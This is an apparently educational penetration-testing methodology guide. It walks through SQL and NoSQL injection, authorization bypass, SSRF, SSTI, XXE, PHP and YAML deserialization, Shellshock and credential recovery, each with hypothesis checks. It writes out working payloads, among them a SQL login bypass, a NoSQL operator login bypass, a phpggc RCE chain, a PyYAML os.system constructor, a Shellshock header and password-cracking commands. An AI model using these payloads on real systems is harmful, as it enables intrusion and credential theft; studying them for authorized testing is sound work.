A database-looking error ties the input to a possible query parser; it is a hypothesis until controlled predicates affect query behavior.
Still check: Identify quote/query context and repeat true/false comparisons; establish the DBMS before DB-specific payloads.
Illustrative output
Normal request: expected rows Changed request: SQL syntax error near INPUT
Validate prerequisites and compare methods
Input reaches a SQL query; a valid request and stable response baseline exist
curl -skG --data-urlencode "PARAM=VALUE'" http://TARGET:PORT/PATH
What did you find?
Enabled: A compatible true/false pair reproducibly controls the query result: choose a manual SQL method.
Ruled out here: The error is a generic proxy/application response unrelated to SQL controls: reject this query-influence inference.
Unresolved: An unstable page or expired session makes differences uninterpretable; restore a valid baseline.
Show connections
These are conditional possibilities. Check the named condition before moving.
Test a SQL-backed authentication bypass — A login/query path has confirmed compatible SQL influence
Requires: The injected condition changes the authentication query and the application accepts the resulting account/session
Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data
Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
Test a SQL-backed authentication bypassNot inspectedA login/query path has confirmed compatible SQL influence
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -i --data-urlencode 'username=USER' --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login
Read the result
The authentication decision may depend on the injectable query result, creating a bypass candidate.
Still check: Verify query shape and post-query checks, then independently confirm the resulting session identity/protected action.
Illustrative output
Invalid control: login rejected Mapped handler: username/password query returns a user row
Validate prerequisites and compare methods
The injected condition changes the authentication query and the application accepts the resulting account/session
curl -sk -i -c cookies.txt --data-urlencode "username=USER' OR '1'='1'-- -" --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login
What did you find?
Enabled: A controlled SQL condition creates a real authenticated session with the intended action: select the bypass route.
Ruled out here: The application separately verifies the password after query selection: reject that bypass while retaining other SQL primitives.
Unresolved: A redirect or cookie without protected access leaves authentication success unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data
Extract data through UNION and visible SQL resultsNot inspectedAn injectable SELECT renders query results
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH
Read the result
A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.
Still check: Confirm column count/types and a query-generated visible marker before extracting selected metadata.
Illustrative output
Compatible ordering: normal result Out-of-range ordering: column-position error
Validate prerequisites and compare methods
Compatible column count/types, a reflected result position and rights to the requested data
curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH
What did you find?
Enabled: A compatible marker appears from a UNION result column: choose visible manual extraction.
Ruled out here: The injection is in a non-SELECT context without a compatible result channel: reject UNION in this request.
Unresolved: No marker can mean type/shape error or an unrendered column; distinguish these before switching techniques.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
Infer SQL data through boolean or time-based differencesNot inspectedQuery influence exists but rows are not rendered
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Read the result
A repeatable predicate-dependent difference provides an inference channel even without visible rows.
Still check: Validate controls using a known predicate and separate caching, network load and backend delay.
Illustrative output
Repeated baseline: short, stable responses Predicate TRUE: marker present Predicate FALSE: marker absent
Validate prerequisites and compare methods
A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
What did you find?
Enabled: Known predicates classify consistently and unknown predicates use the same channel: select blind inference.
Ruled out here: Differences track session/rate-limit noise rather than predicate truth: reject that signal.
Unresolved: One slow request or random body variation is insufficient; repeat controls or choose another primitive.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Conditional: validate an out-of-band SQL request channel — SQL execution is plausible but in-band output is unavailable
Requires: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver
Convert database rights into a file or operating-system effectNot inspectedConfirmed SQL control plus database file, execution or impersonation privileges
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
Read the result
Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.
Still check: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.
Illustrative output
SYSTEM_USER: DATABASE_CONTEXT IS_SRVROLEMEMBER: 1 OS execution identity: not yet observed
Validate prerequisites and compare methods
DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
What did you find?
Enabled: Required role/facility and service-identity effect are confirmed: select the supported database-to-OS method.
Ruled out here: The required file/command privilege is absent: discard that OS transition while retaining data access.
Unresolved: Unknown facility state or OS identity needs a focused check before choosing payloads.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Cross an object-ownership boundaryNot inspectedA request selects an object by ID/path and two authorized ownership contexts are available
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID
Read the result
A private object owned by another controlled account is returned to the lower-context requester.
Still check: Confirm intended sharing rules, account isolation and actual object content/change with valid controls.
Illustrative output
Request identity: USER_A Object metadata: owner=USER_B Response: private object bytes
Validate prerequisites and compare methods
The server accepts a lower-privilege identity's request for an object it should not access
curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID
What did you find?
Enabled: The action crosses a real ownership boundary: use the demonstrated read/write primitive.
Ruled out here: The object is intentionally public/shared: reject unauthorized-access inference from its ID alone.
Unresolved: Unknown ownership or identical generic pages leave the access claim unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Cross role, function or session authorization boundariesNot inspectedAdministrative actions/routes or request methods visible from a lower role
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH
Read the result
A visible administrative route is a lead; only a server-side protected effect establishes the missing role check.
Still check: Replay a valid authorized action under the lower context and independently inspect its permitted effect.
Illustrative output
Lower-role request: protected management form visible Protected action result: not yet tested
Validate prerequisites and compare methods
The lower-role identity can invoke a protected server-side action without its required authorization
curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH
What did you find?
Enabled: The lower context performs the protected action: select the function/role authorization method.
Ruled out here: Only the form is visible and every protected action is correctly denied: reject action-level compromise.
Unresolved: CSRF/session failure prevents assessing authorization; repair the normal request first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Modify a protected property through excessive writable fields — API objects expose role, ownership or security-sensitive properties
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission
Use WordPress component evidence and authorized administration features — WordPress paths/components or an accepted application administrator credential
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Modify a protected property through excessive writable fieldsNot inspectedAPI objects expose role, ownership or security-sensitive properties
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH
Read the result
Returned owner/role fields identify properties to investigate; they are not evidence that the server binds them on update.
Still check: Check accepted writable fields, independent persistence and a resulting permission change.
Illustrative output
{"displayName":"VALUE","ownerId":"USER_ID","role":"user"}Validate prerequisites and compare methods
The server binds an untrusted property to a persistent security-relevant field without checking permission
curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH
What did you find?
Enabled: A lower user changes the protected property and gains the verified action: select mass assignment.
Ruled out here: The sensitive field is ignored or authorization state remains unchanged: reject that property route.
Unresolved: The response merely echoes submitted JSON: reread state before drawing a conclusion.
Show connections
These are conditional possibilities. Check the named condition before moving.
Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Use WordPress component evidence and authorized administration features — WordPress paths/components or an accepted application administrator credential
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Execute browser code and validate a useful same-origin actionNot inspectedUntrusted input reaches an executable HTML/JavaScript context
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH
Read the result
The output context and escaping determine whether browser execution is plausible; the second form is escaped text.
Still check: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.
Illustrative output
Rendered context: <div>UNIQUE_MARKER</div> Alternate response: <script>...</script>
Validate prerequisites and compare methods
Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state
curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH
What did you find?
Enabled: Browser execution and the specific privileged action are independently confirmed: choose the appropriate XSS chain.
Ruled out here: The value remains inert/escaped in the relevant sink: reject that payload/context.
Unresolved: Source reflection without DOM execution evidence leaves the browser effect unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Use WordPress component evidence and authorized administration featuresNot inspectedWordPress paths/components or an accepted application administrator credential
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -i http://TARGET:PORT/wp-login.php
Read the result
Product/component and role clues guide two different paths: exact component exploit matching or a permitted administrative feature.
Still check: Verify build/configuration for a CVE, or actual editor/plugin/file rights plus executable handling for a feature chain.
Illustrative output
Observed paths: /wp-login.php, /wp-content/plugins/COMPONENT/ Authenticated dashboard: USER_ROLE
Validate prerequisites and compare methods
Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked
curl -sk -i http://TARGET:PORT/wp-login.php
What did you find?
Enabled: The precise vulnerable feature or permitted file-consumer route is established: select that mechanism.
Ruled out here: The account lacks the relevant capability and files are read-only: discard the assumed dashboard-to-shell route.
Unresolved: A product path without exact version/feature evidence is insufficient for a public exploit.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Use server-side requests to inspect reachable internal behaviorNot inspectedURL import, preview, webhook or fetch behavior
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH
Read the result
A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.
Still check: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.
Illustrative output
Controlled receiver: GET /FETCH_CANARY Application response: fetched status/preview
Validate prerequisites and compare methods
The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource
curl -skG --data-urlencode 'url=http://LHOST:PORT/SSRF_CANARY' http://TARGET:PORT/FETCH_PATH
What did you find?
Enabled: A permitted controlled internal request and its bounded result are confirmed: use that specific server-request primitive.
Ruled out here: The browser fetches directly and the server never requests it: reject server-side request inference.
Unresolved: No receiver event can mean URL validation, DNS or egress; identify the first failed boundary.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
Validate RDP, WinRM, VNC and Telnet access contexts — An exposed remote-access application and compatible known credentials
Requires: Enabled destination service, matching authentication and protocol-specific logon/session rights
Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood
Prove server-side template evaluation and identify its engineNot inspectedControlled input appears in a server-rendered template, preview, email or report
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
Read the result
A repeatable computed result supports evaluation in that syntax but does not identify the engine or command capability.
Still check: Correlate error/source/framework clues and test a discriminating engine expression before selecting objects.
Illustrative output
Literal control: 7*7 Expression response: 49
Validate prerequisites and compare methods
The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
What did you find?
Enabled: One engine family and its exposed primitive are confirmed: choose the matching bounded method.
Ruled out here: All candidate syntax remains literal in the actual rendered sink: reject SSTI there.
Unresolved: A syntax error alone leaves parser identity and exploitability unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Use an XML parser's external-entity behavior for bounded file readNot inspectedA working XML request reaches a server-side parser that accepts a controlled document or field
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
Read the result
The server parser resolved the entity and read the selected file under its process identity.
Still check: Repeat with a benign control and preserve the exact parser/content-type context.
Illustrative output
Response field: recognizable local system-file bytes
Validate prerequisites and compare methods
External entity or XInclude processing is enabled and the parser identity can read the selected file
curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
What did you find?
Enabled: Recognizable content or a uniquely correlated parser event appears: use the bounded file/network primitive.
Ruled out here: The parser rejects DTDs/entities: reject that entity path in this configuration.
Unresolved: Echoed XML or a generic parser error does not establish entity resolution.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Use server-side requests to inspect reachable internal behavior — URL import, preview, webhook or fetch behavior
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource
Test structured NoSQL operator injection with identity controlsNot inspectedA login or search accepts JSON/nested form properties and evidence suggests an operator-based document query
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
Read the result
A structured operator changed the query and produced an authenticated state for the named identity.
Still check: Verify protected access and identity; ensure the framework parsed an object rather than a string.
Illustrative output
Protected profile after request: USER
Validate prerequisites and compare methods
The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type
curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
What did you find?
Enabled: The operator object alone yields the intended verified transition: select the NoSQL method.
Ruled out here: Schema/type validation rejects objects or the password is compared outside the query: reject that route.
Unresolved: A 200 response, cookie or changed error without protected access remains inconclusive.
Show connections
These are conditional possibilities. Check the named condition before moving.
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Match PHP deserialization gadgets to installed dependenciesNot inspectedSource or request evidence shows controlled serialized PHP data reaches unsafe unserialize
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
phpggc -l
phpggc -i Monolog/RCE1
Read the result
The sink and loaded class family supply a gadget-chain candidate; generation alone is not execution.
Still check: Match exact version/vector, preserve serialized lengths/encoding and verify one benign effect.
Illustrative output
Source sink: unserialize(INPUT) Installed dependency: compatible Monolog release
Validate prerequisites and compare methods
Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes
phpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64
What did you find?
Enabled: A compatible chain causes the intended effect: select that dependency-specific route.
Ruled out here: Required classes are absent or allowed-class restrictions apply: reject that chain.
Unresolved: Unknown decoding or transport corruption must be resolved before interpreting a failed payload.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Validate unsafe YAML object constructionNot inspectedSource or errors identify server-side Python YAML loading of controlled content
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
!!python/object/apply:os.system ["id"]
Read the result
The application constructed the selected Python object under an unsafe loader.
Still check: Confirm loader/version and an attributable effect in the real import/request path.
Illustrative output
Loader evidence: unsafe loader Effect: command-specific identity output
Validate prerequisites and compare methods
The application uses an unsafe PyYAML loader that permits the selected Python object constructor
!!python/object/apply:os.system ["id"]
What did you find?
Enabled: Unsafe construction is confirmed: use only the required bounded effect.
Ruled out here: ConstructorError under safe/restricted loading rejects this constructor route.
Unresolved: A .yml extension without loader evidence leaves the condition unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Test Shellshock only through a confirmed CGI-to-Bash chainNot inspectedA real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT
Read the result
Command-derived identity output supports Shellshock execution under the CGI process.
Still check: Separate command output from reflected header text and record the exact script/Bash context.
Illustrative output
CGI response: uid=SERVICE_UID(...) gid=...
Validate prerequisites and compare methods
HTTP-derived environment data reaches an affected Bash process and the selected command is available
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT
What did you find?
Enabled: The bounded command effect repeats only with the crafted environment function: select the route.
Ruled out here: Patched Bash or a non-Bash CGI path produces no command effect: reject that chain.
Unresolved: A generic 500 or reflected payload leaves component behavior unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Conditional: validate an out-of-band SQL request channelNot inspectedSQL execution is plausible but in-band output is unavailable
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Read the result
Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.
Still check: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.
Illustrative output
Saved query context: DBMS identified Response: no rendered rows; unstable timing Outbound database capability: unknown
Validate prerequisites and compare methods
A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver
ss -lnt
ip route get TARGET
What did you find?
Enabled: The query generates only the expected controlled event: select the bounded outbound channel.
Ruled out here: The required function or outbound permission is unavailable: discard this OOB mechanism.
Unresolved: No callback leaves query execution and egress unresolved; use another stable channel if available.
Show connections
These are conditional possibilities. Check the named condition before moving.
Infer SQL data through boolean or time-based differences — Query influence exists but rows are not rendered
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
Extract data through UNION and visible SQL results — An injectable SELECT renders query results
Requires: Compatible column count/types, a reflected result position and rights to the requested data
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Recover and use authentication material
Classify the artifact and its identity contextNot inspectedA secret-like value, key file, stored hash, challenge response or ticket
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
file FILE
head -c 160 FILE
Read the result
Headers and producing context distinguish a private key, challenge response and stored NT verifier.
Still check: Record the exact source, user/domain and complete format; identify compatible recovery/authentication operations.
Illustrative output
Possible structures: -----BEGIN OPENSSH PRIVATE KEY----- USER::DOMAIN:CHALLENGE:RESPONSE:BLOB USER:RID:LM_HASH:NT_HASH:::
Validate prerequisites and compare methods
Artifact provenance and format; possible local/domain/application identity and compatible protocol
file FILE
head -c 160 FILE
What did you find?
Enabled: Source and format agree on the type: route it to the matching recovery/use method.
Ruled out here: The value is an application identifier rather than an authentication artifact: reject the credential hypothesis.
Unresolved: A bare hexadecimal string without provenance does not identify its algorithm; investigate the producing application.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Classify tickets and use a compatible cache — A ccache/kirbi file or an existing ticket cache
Requires: Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route
Recover a protected KeePass database password — A readable KeePass database and possible associated key file
Requires: Complete database, compatible converter, and every required factor; a feasible password candidate strategy
Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy
Recover Linux account passwords from matched records — Readable password verifiers and account metadata
Requires: Correct passwd/shadow pairing or known hash format; account identity and a feasible recovery strategy
Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
Recover a password from a captured NTLM response — A complete challenge-response record
Requires: Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context
Recover a password from cached domain logon verifiers — A DCC2/MSCache record from matched SECURITY/SYSTEM material
Requires: Correct username/salt/iteration context and feasible offline candidates
Validate known passwords and context-specific reuseNot inspectedA password tied to a plausible user and service
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
Read the result
Accepted authentication proves one service/account pairing; it does not establish shares, administration, RDP or WinRM.
Still check: Qualify local/domain/application identity explicitly, test a compatible reachable service and record the accepted identity. Then test the specific share/logon/execution right; successful authentication is not administrative authorization.
Illustrative output
SMB TARGET [+] DOMAIN\USER: accepted Administrative execution: not yet demonstrated
Validate prerequisites and compare methods
Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
ssh -p PORT USER@TARGET
What did you find?
Enabled: The intended service operation succeeds under the recorded identity: use that access and re-enumerate.
Ruled out here: The secret is valid only for the application and not the proposed OS account: reject that reuse pairing.
Unresolved: A generic logon failure may hide account/domain/state mismatch; classify it before repeating attempts.
Show connections
These are conditional possibilities. Check the named condition before moving.
Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Recover passwords with feasible dictionary, rule and mask attacksNot inspectedA supported stored verifier or converted protected artifact
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
hashcat --example-hashes
john --list=formats
Read the result
A verified format and feasible candidate model enable offline recovery; a hash-shaped string alone does not.
Still check: Check complete salt/context, conversion correctness, tool backend and whether all required factors are present.
Illustrative output
Artifact format matches SUPPORTED_MODE Candidate model: relevant words plus a justified suffix pattern
Validate prerequisites and compare methods
Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
hashcat --example-hashes
john --list=formats
What did you find?
Enabled: The verifier and candidate space are valid: use the selected offline strategy and verify recovered credentials.
Ruled out here: The artifact is a non-crackable token or unsupported format under this workflow: reject that mode.
Unresolved: Parsing errors or an incomplete source require input repair; no recovery only exhausts the tested candidates.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy
Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
Recover a protected KeePass database passwordNot inspectedA readable KeePass database and possible associated key file
Starting access: A credential artifact with a recorded source and possible account context
Discover the clue
file FILE
keepass2john FILE > keepass.hash
Read the result
A supported database gives a recovery target, but a referenced key file indicates a separate factor.
Still check: Confirm vault version, required key/account factors and a feasible password search.
Illustrative output
FILE: Keepass password database Converter: supported verifier produced Possible additional key file: KEY_FILE
Validate prerequisites and compare methods
Complete database, compatible converter, and every required factor; a feasible password candidate strategy
file FILE
keepass2john FILE > keepass.hash
What did you find?
Enabled: All required factors are available and the recovered password opens the vault: inspect its typed credentials.
Ruled out here: An unavailable mandatory key factor prevents this password-only route.
Unresolved: A converter result alone does not identify every required factor; inspect relevant vault configuration.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
